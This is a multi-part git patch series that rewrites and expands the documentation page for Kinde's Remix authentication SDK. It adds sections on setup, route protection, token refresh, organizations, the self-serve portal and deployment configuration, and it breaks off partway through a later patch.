From bf6b3276e7dac0032ce0e61791f1903f0dd73ffd Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Tue, 9 Dec 2025 17:55:46 +0900 Subject: [PATCH 01/13] fix: remix sdk doc --- .../sdks/backend/remix-sdk.mdx | 179 +++++++++--------- 1 file changed, 88 insertions(+), 91 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 50da17958..ea1cbe0e9 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -1,7 +1,7 @@ --- page_id: 035c5c07-276f-4172-bb09-de8ca15c0ba2 title: Remix SDK -description: "Complete guide for Remix SDK including authentication setup, route protection, session management, and internationalization for Remix applications." +description: "Complete guide for the Remix SDK including installation, configuration, authentication links, route protection, session helpers, and internationalization." sidebar: order: 11.1 head: @@ -30,13 +30,13 @@ keywords: - session management - internationalization - organizations -updated: 2024-01-15 +updated: 2025-12-09 featured: false deprecated: false -ai_summary: Complete guide for Remix SDK including authentication setup, route protection, session management, and internationalization for Remix applications. +ai_summary: Complete guide for the Remix SDK including installation, configuration, authentication links, route protection, session helpers, and internationalization. --- -This SDK is for developers using Remix. +This SDK is for developers building Remix apps with Kinde authentication. New to Kinde? [Get started here](/get-started/guides/first-things-first/). @@ -44,23 +44,21 @@ New to Kinde? [Get started here](/get-started/guides/first-things-first/). The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). -## Install the Kinde Remix SDK into your Remix project +## Install for an existing project -## **Set callback URLs** +## Set callback URLs -1. In Kinde, go to **Settings > Applications > [Your app] > View details**. +1. In Kinde, go to **Settings > Applications > [Your app] > View details**. 2. Add your callback URLs in the relevant fields. For example: - - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` - - Allowed logout redirect URLs - for example `http://localhost:3000` -3. Select **Save**. + - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` + - Allowed logout redirect URLs - for example `http://localhost:3000` +3. Select **Save**. -## Set up environment variables +## Configure environment variables -While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the Environment variables for your application. - -`.env` +Add these variables to a `.env` file in the root of your Remix app. Use the values from your app in Kinde. ```shell KINDE_CLIENT_ID= @@ -77,13 +75,15 @@ Create this file `app/routes/kinde-auth.$index.tsx`. ```jsx import { handleAuth } from "@kinde-oss/kinde-remix-sdk"; -import { LoaderFunctionArgs } from "@remix-run/node"; +import type { LoaderFunctionArgs } from "@remix-run/node"; export async function loader({ params, request }: LoaderFunctionArgs) { return await handleAuth(request, params.index); } ``` +This route handles login, logout, register, callback, and other auth actions. Keep it at this path so the SDK can find it. + ## Authentication ### Sign up and sign in @@ -93,13 +93,9 @@ Authenticate users by redirecting them to `/kinde-auth/login` and `/kinde-auth/r ```jsx import { Link } from "@remix-run/react"; - - Login - +Login - - Register - +Register ``` **Sign into organizations** @@ -117,15 +113,15 @@ To log into specific organizations you can specify the `org_code` in the search ``` -**Internationalization** +### Redirecting after authentication -You can set the language you wish your users to see when they hit the login flow by including `lang` in the search params. +Add a return path to send users back to the page that sent them to login. ```typescript Sign in @@ -137,75 +133,56 @@ You can set the language you wish your users to see when they hit the login flow This is implemented in much the same way as signing up or signing in. Use the remix `` component to redirect users to `/kinde-auth/logout`. ```jsx -import {Link} from "@remix-run/react"; +import { Link } from "@remix-run/react"; Logout; ``` -### Protect routes - -In the `loader`, check if the user exists and then handle route protection there. +## Protect routes -In this example we will redirect the user to sign in if there is no login data. +Use the `loader` to guard pages. Pass the headers returned from `getKindeSession` so refresh tokens continue to work. ```typescript -export const loader = async ({request}: LoaderFunctionArgs) => { - const {getUser, headers} = await getKindeSession(request); +import { json, redirect } from "@remix-run/node"; +import type { LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { getUser, headers } = await getKindeSession(request); const user = await getUser(); if (user === null) { - throw redirect("/kinde-auth/login"); + throw redirect("/kinde-auth/login?returnTo=/protected-route"); } - return json({user}, {headers}); + return json({ user }, { headers }); }; ``` -### Return to a specific page after authentication - -After a user has logged in following a redirect from a protected route, we usually want to send the user back to the page they were trying to access prior to logging in. - -This can be achieved with the `returnTo` search parameter added to the login/register url. - -```typescript -export const loader = async ({request}: LoaderFunctionArgs) => { - const {getUser, headers} = await getKindeSession(request); - const user = await getUser(); - - if (user === null) { - throw redirect("/kinde-auth/login?returnTo=/protected-route"); - } - - return json({user}, {headers}); -}; -``` - -### Call a function after authentication - -After a user has authenticated, you may want to call a function to update your database or perform some other action. +## Call a function after authentication -This can be achieved by passing `onRedirectCallback` to the handleAuth function. +After a user has authenticated, you may want to call a function to update your database or perform some other action. Pass `onRedirectCallback` to `handleAuth`. ```typescript -import {handleAuth} from "@kinde-oss/kinde-remix-sdk"; -import {LoaderFunctionArgs} from "@remix-run/node"; +import { handleAuth } from "@kinde-oss/kinde-remix-sdk"; +import type { LoaderFunctionArgs } from "@remix-run/node"; -export async function loader({params, request}: LoaderFunctionArgs) { +export async function loader({ params, request }: LoaderFunctionArgs) { return await handleAuth(request, params.index, { - onRedirectCallback({user}) { + onRedirectCallback({ user }) { console.log("This is called after the user is authenticated!", user); } }); } ``` -## Kinde session data - `getKindeSession()` +## Kinde session helpers ```jsx const { @@ -226,13 +203,30 @@ const { } = await getKindeSession(request); ``` -### **Claims** +| Method | Description | +| --- | --- | +| [`isAuthenticated`](#authentication-and-user-information) | Check if the user is authenticated | +| [`getUser`](#authentication-and-user-information) | Get the current user's details | +| [`getUserProfile`](#authentication-and-user-information) | Get the user's profile | +| [`getOrganization`](#organizations) | Get the current user's organization | +| [`getUserOrganizations`](#organizations) | Get all the organizations the current user belongs to | +| [`getPermission`](#permissions) | Check if the current user has a permission | +| [`getPermissions`](#permissions) | Get the current user's permissions | +| [`getFlag`](#feature-flags) | Get a feature flag | +| [`getBooleanFlag`](#feature-flags) | Get a boolean feature flag | +| [`getIntegerFlag`](#feature-flags) | Get an integer feature flag | +| [`getStringFlag`](#feature-flags) | Get a string feature flag | +| [`getToken`](#authentication-and-user-information) | Get the access token | +| [`getClaim`](#claims) | Get a claim object | +| [`getClaimValue`](#claims) | Get only the claim value | + +### Claims -`getClaim(claim, type)`: Fetches a specific claim from the user's session based on the provided claim name and type. Returns an object with `name` and `value` properties, or null on error. +`getClaim(claim, type)`: Fetches a specific claim from the user's session based on the provided claim name and type. Returns an object with `name` and `value` properties, or null on error. -`getClaimValue(claim, type)`: Similar to `getClaim`, but retrieves only the claim's value. Returns the value or null on error. +`getClaimValue(claim, type)`: Similar to `getClaim`, but retrieves only the claim's value. Returns the value or null on error. -### **Authentication and user information** +### Authentication and user information `getToken()`: Retrieves the current access token from the session. Returns the token or null when the user is not authenticated or on error. @@ -244,7 +238,7 @@ const { `getUserProfile()`: Fetches the user's profile details from Kinde. Returns a user profile object or null on error or if the user is not authenticated. -### **Feature flags** +### Feature flags `getFlag(code, defaultValue, type)`: Retrieves a feature flag value by code. Optionally provides a default value and type for parsing the retrieved value. Returns the flag value or the default value on error. @@ -254,53 +248,56 @@ const { `getStringFlag(code, defaultValue)`: Retrieves a string feature flag. -### **Permissions** +### Permissions `getPermission(permission)`: Checks if a specific permission is granted to the user. Returns true if granted, false otherwise. `getPermissions()`: Retrieves all permissions associated with the user's session. Returns an array of permission strings or an empty array on error. -### **Organizations** +### Organizations `getOrganization()`: Fetches information about the user's current organization. Returns an organization object or null on error. `getUserOrganizations()`: Retrieves a list of organizations the user belongs to. Returns an array of organization objects or an empty array on error. -## Using refresh tokens +## Refreshing Kinde data -Refresh tokens used to keep the user session alive. You can pass through the `headers` from `getKindeSession` through to the loader fetch response. Or you can use the `refreshTokens` function to refresh the user's access and refresh tokens manually. +Use `refreshTokens` to keep the session current. Always return the provided headers so refresh cookies are persisted. ```typescript +import { json, redirect } from "@remix-run/node"; +import type { ActionFunctionArgs, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + // Refresh tokens in the background -export const loader = async ({request}: LoaderFunctionArgs) => { - const {headers} = await getKindeSession(request); - return json({paylod: "Refreshing tokens in the backgrounf"}, {headers}); +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { headers } = await getKindeSession(request); + return json({ payload: "Refreshing tokens in the background" }, { headers }); }; // Refresh tokens manually -export const action = ({request}: ActionFunctionArgs) => { - const {refreshTokens} = await getKindeSession(request); - const headers = refreshTokens(); - return redirect("/profile", {headers}); +export const action = async ({ request }: ActionFunctionArgs) => { + const { refreshTokens } = await getKindeSession(request); + const headers = await refreshTokens(); + return redirect("/profile", { headers }); }; ``` -## Get up-to-date Kinde data +## Internationalization -To get up-to-date Kinde data into your app you can use the `refreshTokens` function in an `action` function and then include the headers in the response. +You can set the language you wish your users to see when they hit the login flow by including `lang` in the search params. -```jsx -export const action = ({request}: ActionFunctionArgs) => { - const {refreshTokens} = await getKindeSession(request); - const headers = refreshTokens(); - return redirect('/profile', {headers}); -} +```typescript + + Sign in + ``` ## Kinde Management API -To use our management API please see [@kinde/management-api-js](https://github.com/kinde-oss/management-api-js) - -``` - -``` +To use our management API please see [@kinde/management-api-js](https://github.com/kinde-oss/management-api-js). From 2118537c31edf4e0355ed70f8dcb0b562febe2ce Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 10 Dec 2025 19:08:43 +0900 Subject: [PATCH 02/13] fix: all content --- .../sdks/backend/remix-sdk.mdx | 369 +++++++++++++----- 1 file changed, 274 insertions(+), 95 deletions(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index ea1cbe0e9..31a7c6ee4 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -1,7 +1,7 @@ --- page_id: 035c5c07-276f-4172-bb09-de8ca15c0ba2 title: Remix SDK -description: "Complete guide for the Remix SDK including installation, configuration, authentication links, route protection, session helpers, and internationalization." +description: "Complete guide for Remix SDK including installation, route handlers, environment configuration, protecting routes, refreshing Kinde data, organizations, analytics, and more for Remix applications." sidebar: order: 11.1 head: @@ -30,19 +30,26 @@ keywords: - session management - internationalization - organizations -updated: 2025-12-09 +updated: 2024-01-15 featured: false deprecated: false -ai_summary: Complete guide for the Remix SDK including installation, configuration, authentication links, route protection, session helpers, and internationalization. +ai_summary: Complete guide for Remix SDK including installation, route handlers, environment configuration, protecting routes, refreshing Kinde data, organizations, analytics, and more for Remix applications. --- -This SDK is for developers building Remix apps with Kinde authentication. +This SDK is for developers using Remix. New to Kinde? [Get started here](/get-started/guides/first-things-first/). -## Create a back end application in Kinde +## Overview -The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). +- Works with Remix (server-rendered by default) +- Uses secure cookies to manage the session +- Exposes helpers for loaders and actions so tokens stay fresh +- Ships with opinionated auth routes (`/kinde-auth/*`) + +## Install for a new project + +The quickest way to start is with the [Remix starter kit](https://github.com/kinde-starter-kits/kinde-remix-starter-kit). Clone it and add your Kinde application details. ## Install for an existing project @@ -50,15 +57,19 @@ The Remix SDK works with back end applications. Create one in Kinde. See [Add an ## Set callback URLs -1. In Kinde, go to **Settings > Applications > [Your app] > View details**. +The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). + +1. In Kinde, go to **Settings > Applications > [Your app] > View details**. 2. Add your callback URLs in the relevant fields. For example: - - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` - - Allowed logout redirect URLs - for example `http://localhost:3000` -3. Select **Save**. + - Allowed callback URLs (also known as redirect URIs) - for example `http://localhost:3000/kinde-auth/callback` + - Allowed logout redirect URLs - for example `http://localhost:3000` +3. Select **Save**. ## Configure environment variables -Add these variables to a `.env` file in the root of your Remix app. Use the values from your app in Kinde. +While you are in your Kinde backend application, copy the Client ID and Client secret, redirect URLs, etc. Add these details to the environment variables for your application. Add `KINDE_AUDIENCE` if you need to call a protected API. + +`.env` ```shell KINDE_CLIENT_ID= @@ -67,22 +78,91 @@ KINDE_ISSUER_URL=https://.kinde.com KINDE_SITE_URL=http://localhost:3000 KINDE_POST_LOGOUT_REDIRECT_URL=http://localhost:3000 KINDE_POST_LOGIN_REDIRECT_URL=http://localhost:3000 +KINDE_AUDIENCE= ``` -## Set up authentication routes +## Set up Kinde Auth Route Handlers -Create this file `app/routes/kinde-auth.$index.tsx`. +Create `app/routes/kinde-auth.$index.tsx`. This single route file handles login, logout, register, callback, health, etc. ```jsx import { handleAuth } from "@kinde-oss/kinde-remix-sdk"; -import type { LoaderFunctionArgs } from "@remix-run/node"; +import { LoaderFunctionArgs } from "@remix-run/node"; export async function loader({ params, request }: LoaderFunctionArgs) { return await handleAuth(request, params.index); } ``` -This route handles login, logout, register, callback, and other auth actions. Keep it at this path so the SDK can find it. +## Customising Kinde Auth API paths + +By default, Kinde endpoints live at `/kinde-auth/*`. If you want a different base path, rename the route file (for example `app/routes/auth.$index.tsx`) and update any links that point to `/kinde-auth/...` to the new path. + +## Set up middleware + +Remix does not require a separate middleware file. Use loaders to validate the session and pass the returned `headers` through your responses so refresh tokens can rotate in the background. + +```ts +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + +export const loader = async ({ request }: LoaderFunctionArgs) => { + const session = await getKindeSession(request); + const { isAuthenticated, headers } = session; + + if (!(await isAuthenticated())) { + return json({ signedIn: false }, { headers }); + } + + return json({ signedIn: true }, { headers }); +}; +``` + +## Set up the Kinde Auth Provider + +The Remix SDK works server-side, but you can wrap your root to expose auth state to components. Use the React provider and feed it data from your loader. + +```tsx +// app/root.tsx +import { + Links, + Meta, + Outlet, + Scripts, + ScrollRestoration, + useLoaderData +} from "@remix-run/react"; +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; +import { KindeProvider } from "@kinde-oss/kinde-auth-react"; + +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { getUser, headers, isAuthenticated } = await getKindeSession(request); + const user = await getUser(); + + return json({ user, isAuthenticated: await isAuthenticated() }, { headers }); +}; + +export default function App() { + const data = useLoaderData(); + + return ( + + + + + + + + + + + + + + ); +} +``` ## Authentication @@ -93,9 +173,13 @@ Authenticate users by redirecting them to `/kinde-auth/login` and `/kinde-auth/r ```jsx import { Link } from "@remix-run/react"; -Login + + Login + -Register + + Register + ``` **Sign into organizations** @@ -113,15 +197,15 @@ To log into specific organizations you can specify the `org_code` in the search ``` -### Redirecting after authentication +**Internationalization** -Add a return path to send users back to the page that sent them to login. +You can set the language you wish your users to see when they hit the login flow by including `lang` in the search params. ```typescript Sign in @@ -133,56 +217,50 @@ Add a return path to send users back to the page that sent them to login. This is implemented in much the same way as signing up or signing in. Use the remix `` component to redirect users to `/kinde-auth/logout`. ```jsx -import { Link } from "@remix-run/react"; +import {Link} from "@remix-run/react"; Logout; ``` -## Protect routes +### Return to a specific page after authentication -Use the `loader` to guard pages. Pass the headers returned from `getKindeSession` so refresh tokens continue to work. +After a user has logged in following a redirect from a protected route, we usually want to send the user back to the page they were trying to access prior to logging in. -```typescript -import { json, redirect } from "@remix-run/node"; -import type { LoaderFunctionArgs } from "@remix-run/node"; -import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; +This can be achieved with the `returnTo` search parameter added to the login/register url. -export const loader = async ({ request }: LoaderFunctionArgs) => { - const { getUser, headers } = await getKindeSession(request); +```typescript +export const loader = async ({request}: LoaderFunctionArgs) => { + const {getUser, headers} = await getKindeSession(request); const user = await getUser(); if (user === null) { throw redirect("/kinde-auth/login?returnTo=/protected-route"); } - return json({ user }, { headers }); + return json({user}, {headers}); }; ``` - +### Call a function after authentication -## Call a function after authentication +After a user has authenticated, you may want to call a function to update your database or perform some other action. -After a user has authenticated, you may want to call a function to update your database or perform some other action. Pass `onRedirectCallback` to `handleAuth`. +This can be achieved by passing `onRedirectCallback` to the handleAuth function. ```typescript -import { handleAuth } from "@kinde-oss/kinde-remix-sdk"; -import type { LoaderFunctionArgs } from "@remix-run/node"; +import {handleAuth} from "@kinde-oss/kinde-remix-sdk"; +import {LoaderFunctionArgs} from "@remix-run/node"; -export async function loader({ params, request }: LoaderFunctionArgs) { +export async function loader({params, request}: LoaderFunctionArgs) { return await handleAuth(request, params.index, { - onRedirectCallback({ user }) { + onRedirectCallback({user}) { console.log("This is called after the user is authenticated!", user); } }); } ``` -## Kinde session helpers +## Kinde Auth data - Server ```jsx const { @@ -203,101 +281,202 @@ const { } = await getKindeSession(request); ``` -| Method | Description | -| --- | --- | -| [`isAuthenticated`](#authentication-and-user-information) | Check if the user is authenticated | -| [`getUser`](#authentication-and-user-information) | Get the current user's details | -| [`getUserProfile`](#authentication-and-user-information) | Get the user's profile | -| [`getOrganization`](#organizations) | Get the current user's organization | -| [`getUserOrganizations`](#organizations) | Get all the organizations the current user belongs to | -| [`getPermission`](#permissions) | Check if the current user has a permission | -| [`getPermissions`](#permissions) | Get the current user's permissions | -| [`getFlag`](#feature-flags) | Get a feature flag | -| [`getBooleanFlag`](#feature-flags) | Get a boolean feature flag | -| [`getIntegerFlag`](#feature-flags) | Get an integer feature flag | -| [`getStringFlag`](#feature-flags) | Get a string feature flag | -| [`getToken`](#authentication-and-user-information) | Get the access token | -| [`getClaim`](#claims) | Get a claim object | -| [`getClaimValue`](#claims) | Get only the claim value | - ### Claims -`getClaim(claim, type)`: Fetches a specific claim from the user's session based on the provided claim name and type. Returns an object with `name` and `value` properties, or null on error. - -`getClaimValue(claim, type)`: Similar to `getClaim`, but retrieves only the claim's value. Returns the value or null on error. +- `getClaim(claim, type)`: Fetch a claim by name and token type. +- `getClaimValue(claim, type)`: Return only the claim value. ### Authentication and user information -`getToken()`: Retrieves the current access token from the session. Returns the token or null when the user is not authenticated or on error. +- `getToken()`: Current access token or null. +- `refreshTokens()`: Refresh access and refresh tokens. +- `isAuthenticated()`: Returns true/false. +- `getUser()`: Returns user info or null. +- `getUserProfile()`: Fetches the user's profile. -`refreshTokens()`: Attempts to refresh the user's access and refresh tokens. Returns true on success or throws an error. +### Feature flags -`isAuthenticated()`: Checks if a valid session exists, indicating a logged-in user. Returns true if authenticated, otherwise false. +- `getFlag(code, defaultValue, type)` +- `getBooleanFlag(code, defaultValue)` +- `getIntegerFlag(code, defaultValue)` +- `getStringFlag(code, defaultValue)` -`getUser()`: Retrieves the user information associated with the current session. Returns a user object or null on error or if the user is not authenticated. +### Permissions -`getUserProfile()`: Fetches the user's profile details from Kinde. Returns a user profile object or null on error or if the user is not authenticated. +- `getPermission(permission)` +- `getPermissions()` -### Feature flags +### Organizations -`getFlag(code, defaultValue, type)`: Retrieves a feature flag value by code. Optionally provides a default value and type for parsing the retrieved value. Returns the flag value or the default value on error. +- `getOrganization()` +- `getUserOrganizations()` -`getBooleanFlag(code, defaultValue)`: Retrieves a boolean feature flag. +## Kinde Auth data - Client -`getIntegerFlag(code, defaultValue)`: Retrieves an integer feature flag. +Pass data from your loader to the UI. Example of exposing user info to the route component: -`getStringFlag(code, defaultValue)`: Retrieves a string feature flag. +```tsx +// app/routes/dashboard.tsx +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { useLoaderData } from "@remix-run/react"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; -### Permissions +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { getUser, headers, isAuthenticated } = await getKindeSession(request); + const user = await getUser(); -`getPermission(permission)`: Checks if a specific permission is granted to the user. Returns true if granted, false otherwise. + return json({ user, isAuthenticated: await isAuthenticated() }, { headers }); +}; -`getPermissions()`: Retrieves all permissions associated with the user's session. Returns an array of permission strings or an empty array on error. +export default function Dashboard() { + const { user, isAuthenticated } = useLoaderData(); -### Organizations + if (!isAuthenticated) return

Please sign in.

; + return

Welcome back, {user?.given_name}

; +} +``` -`getOrganization()`: Fetches information about the user's current organization. Returns an organization object or null on error. +## Protecting routes -`getUserOrganizations()`: Retrieves a list of organizations the user belongs to. Returns an array of organization objects or an empty array on error. +Use the loader example above to block unauthenticated users. To automatically redirect back to the requested route after login, include `returnTo` in the login/register link. ## Refreshing Kinde data -Use `refreshTokens` to keep the session current. Always return the provided headers so refresh cookies are persisted. +Pass the `headers` returned from `getKindeSession` in your loader/action responses so refresh tokens rotate automatically. You can also call `refreshTokens()` manually when you need the latest data (for example after a mutation). ```typescript -import { json, redirect } from "@remix-run/node"; -import type { ActionFunctionArgs, LoaderFunctionArgs } from "@remix-run/node"; -import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; - // Refresh tokens in the background -export const loader = async ({ request }: LoaderFunctionArgs) => { - const { headers } = await getKindeSession(request); - return json({ payload: "Refreshing tokens in the background" }, { headers }); +export const loader = async ({request}: LoaderFunctionArgs) => { + const {headers} = await getKindeSession(request); + return json({payload: "Refreshing tokens in the background"}, {headers}); }; // Refresh tokens manually -export const action = async ({ request }: ActionFunctionArgs) => { - const { refreshTokens } = await getKindeSession(request); +export const action = async ({request}: ActionFunctionArgs) => { + const {refreshTokens} = await getKindeSession(request); const headers = await refreshTokens(); - return redirect("/profile", { headers }); + return redirect("/profile", {headers}); }; ``` -## Internationalization +## Kinde Management API -You can set the language you wish your users to see when they hit the login flow by including `lang` in the search params. +To use our management API please see [@kinde/management-api-js](https://github.com/kinde-oss/management-api-js). + +Server loader example: ```typescript +import { json, LoaderFunctionArgs } from "@remix-run/node"; +import { Roles, Users } from "@kinde/management-api-js"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { headers } = await getKindeSession(request); + + const { roles } = await Roles.getRoles(); + const { users } = await Users.getUsers(); + + return json({ roles, users }, { headers }); +}; +``` + +## Organizations + +- To log users into a specific organization, set `org_code` on your login/register links (as shown above). +- To create an organization from your app, link to `/kinde-auth/create_org` or use the Management API. + +## Self Serve Portal + +Send users to the self-serve portal by linking to the portal URL returned from the [Self-serve portal API](/build/self-service-portal/self-serve-portal-for-orgs/) or by using a stored URL in your app. + +```tsx +Open portal +``` + +## Analytics + +Attach UTM parameters to your auth links to track traffic sources. + +```jsx - Sign in + Login ``` -## Kinde Management API +## Internationalization + +Include `lang` in the search params when sending users to login or register. + +```jsx + + Login + +``` + +## Audience + +An `audience` is the intended recipient of an access token. Set `KINDE_AUDIENCE` in `.env` to populate the `aud` claim. + +## Working with subdomains + +If you use a custom domain and start auth on `auth.mysite.com` but redirect back to `app.mysite.com`, set `KINDE_COOKIE_DOMAIN=.mysite.com` so cookies are available across subdomains. + +```shell +KINDE_COOKIE_DOMAIN=.mysite.com +``` + +## Working with preview URLs + +When deploying to environments with dynamic URLs (for example Vercel previews), set `KINDE_SITE_URL`, `KINDE_POST_LOGOUT_REDIRECT_URL`, and `KINDE_POST_LOGIN_REDIRECT_URL` at build time to the preview URL. Wildcards are supported in Kinde callback/logout URLs if you prefer a simpler setup. + +## Health check + +`/kinde-auth/health` exposes your configuration. The client secret is masked (only indicates if it is set correctly). + +```json +{ + "apiPath": "/kinde-auth", + "redirectURL": "http://localhost:3000/kinde-auth/callback", + "postLoginRedirectURL": "http://localhost:3000", + "issuerURL": "https://.kinde.com", + "clientID": "", + "clientSecret": "Set correctly", + "postLogoutRedirectURL": "http://localhost:3000", + "logoutRedirectURL": "http://localhost:3000" +} +``` + +## State not found error + +### Solution + +1. Ensure the domain you start auth on matches the domain you return to (including preview domains). +2. Dynamically set `KINDE_SITE_URL` and `KINDE_POST_LOGIN_REDIRECT_URL` for each environment (preview/staging/production). + +### Explanation + +If the domain where the auth flow starts differs from the callback domain, the `state` cookie cannot be validated and the flow is rejected. Keep the origin consistent or set environment variables per deployment URL. + +## Debug mode + +Enable verbose logs when troubleshooting. + +```shell +KINDE_DEBUG_MODE=true +``` + +## Migration guide + +- `handleAuth` is provided by `@kinde-oss/kinde-remix-sdk` and must be mounted at the auth route. +- Functions returned from `getKindeSession` return promises; `await` them in loaders/actions. -To use our management API please see [@kinde/management-api-js](https://github.com/kinde-oss/management-api-js). From f427fe6c995510d79d4722b4debe87d65efc7ed0 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 10 Dec 2025 19:09:25 +0900 Subject: [PATCH 03/13] fix: back end to back-end --- src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 31a7c6ee4..7ead90158 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -57,7 +57,7 @@ The quickest way to start is with the [Remix starter kit](https://github.com/kin ## Set callback URLs -The Remix SDK works with back end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). +The Remix SDK works with back-end applications. Create one in Kinde. See [Add and manage applications](/build/applications/add-and-manage-applications/). 1. In Kinde, go to **Settings > Applications > [Your app] > View details**. 2. Add your callback URLs in the relevant fields. For example: From df44d203c7de8aa4fcf26e5fc21d2771ec04c319 Mon Sep 17 00:00:00 2001 From: p-stam115 Date: Wed, 10 Dec 2025 19:13:40 +0900 Subject: [PATCH 04/13] fix: add some example code --- .../sdks/backend/remix-sdk.mdx | 110 ++++++++++++++++++ 1 file changed, 110 insertions(+) diff --git a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx index 7ead90158..d8515dfc3 100644 --- a/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx +++ b/src/content/docs/developer-tools/sdks/backend/remix-sdk.mdx @@ -182,6 +182,27 @@ import { Link } from "@remix-run/react"; ``` +### Redirecting after authentication + +**Static redirect** + +Set `KINDE_POST_LOGIN_REDIRECT_URL` in `.env` to send users to a fixed page after login. + +**Dynamic redirect** + +Append `post_login_redirect_url` or `returnTo` to the login/register URL for per-request redirects. + +```jsx + + Login + +``` + **Sign into organizations** To log into specific organizations you can specify the `org_code` in the search params. @@ -340,6 +361,35 @@ export default function Dashboard() { Use the loader example above to block unauthenticated users. To automatically redirect back to the requested route after login, include `returnTo` in the login/register link. +```tsx +// app/routes/protected.tsx +import { json, LoaderFunctionArgs, redirect } from "@remix-run/node"; +import { useLoaderData, Link } from "@remix-run/react"; +import { getKindeSession } from "@kinde-oss/kinde-remix-sdk"; + +export const loader = async ({ request }: LoaderFunctionArgs) => { + const { getUser, headers, isAuthenticated } = await getKindeSession(request); + + if (!(await isAuthenticated())) { + throw redirect("/kinde-auth/login?returnTo=/protected"); + } + + const user = await getUser(); + return json({ user }, { headers }); +}; + +export default function Protected() { + const { user } = useLoaderData(); + return ( +
+

This page is protected.

+

Welcome {user?.given_name}

+ Logout +
+ ); +} +``` + ## Refreshing Kinde data Pass the `headers` returned from `getKindeSession` in your loader/action responses so refresh tokens rotate automatically. You can also call `refreshTokens()` manually when you need the latest data (for example after a mutation). @@ -357,6 +407,15 @@ export const action = async ({request}: ActionFunctionArgs) => { const headers = await refreshTokens(); return redirect("/profile", {headers}); }; + +// Refresh after an update +export const updateProfile = async ({request}: ActionFunctionArgs) => { + const { refreshTokens, getUser } = await getKindeSession(request); + // ...perform your mutation here... + const headers = await refreshTokens(); + const user = await getUser(); + return json({ user }, { headers }); +}; ``` ## Kinde Management API @@ -385,6 +444,20 @@ export const loader = async ({ request }: LoaderFunctionArgs) => { - To log users into a specific organization, set `org_code` on your login/register links (as shown above). - To create an organization from your app, link to `/kinde-auth/create_org` or use the Management API. +```tsx +// Create org via Kinde Auth route + + Create org + +``` + +If `org_code` is not specified and the user belongs to multiple organizations, they’ll be prompted to choose during login/registration. + ## Self Serve Portal Send users to the self-serve portal by linking to the portal URL returned from the [Self-serve portal API](/build/self-service-portal/self-serve-portal-for-orgs/) or by using a stored URL in your app. @@ -393,6 +466,29 @@ Send users to the self-serve portal by linking to the portal URL returned from t Open portal ``` +### subNav + +Use `subNav` to land users on a specific portal area. + +```tsx +import { Link } from "@remix-run/react"; +import { PortalPage } from "@kinde/js-utils"; + +.kinde.com/portal?subNav=${PortalPage.organizationPaymentDetails}`}> + Manage billing +; +``` + +### returnUrl + +Send users back to your app after portal actions with an absolute `returnUrl`. + +```tsx + + Open portal + +``` + ## Analytics Attach UTM parameters to your auth links to track traffic sources. @@ -427,6 +523,11 @@ Include `lang` in the search params when sending users to login or register. An `audience` is the intended recipient of an access token. Set `KINDE_AUDIENCE` in `.env` to populate the `aud` claim. +```shell +KINDE_AUDIENCE= +KINDE_AUDIENCE= # multiple audiences (space separated) +``` + ## Working with subdomains If you use a custom domain and start auth on `auth.mysite.com` but redirect back to `app.mysite.com`, set `KINDE_COOKIE_DOMAIN=.mysite.com` so cookies are available across subdomains. @@ -439,6 +540,15 @@ KINDE_COOKIE_DOMAIN=.mysite.com When deploying to environments with dynamic URLs (for example Vercel previews), set `KINDE_SITE_URL`, `KINDE_POST_LOGOUT_REDIRECT_URL`, and `KINDE_POST_LOGIN_REDIRECT_URL` at build time to the preview URL. Wildcards are supported in Kinde callback/logout URLs if you prefer a simpler setup. +```bash +# example in a Remix deploy script +export KINDE_SITE_URL="https://${VERCEL_URL}" +export 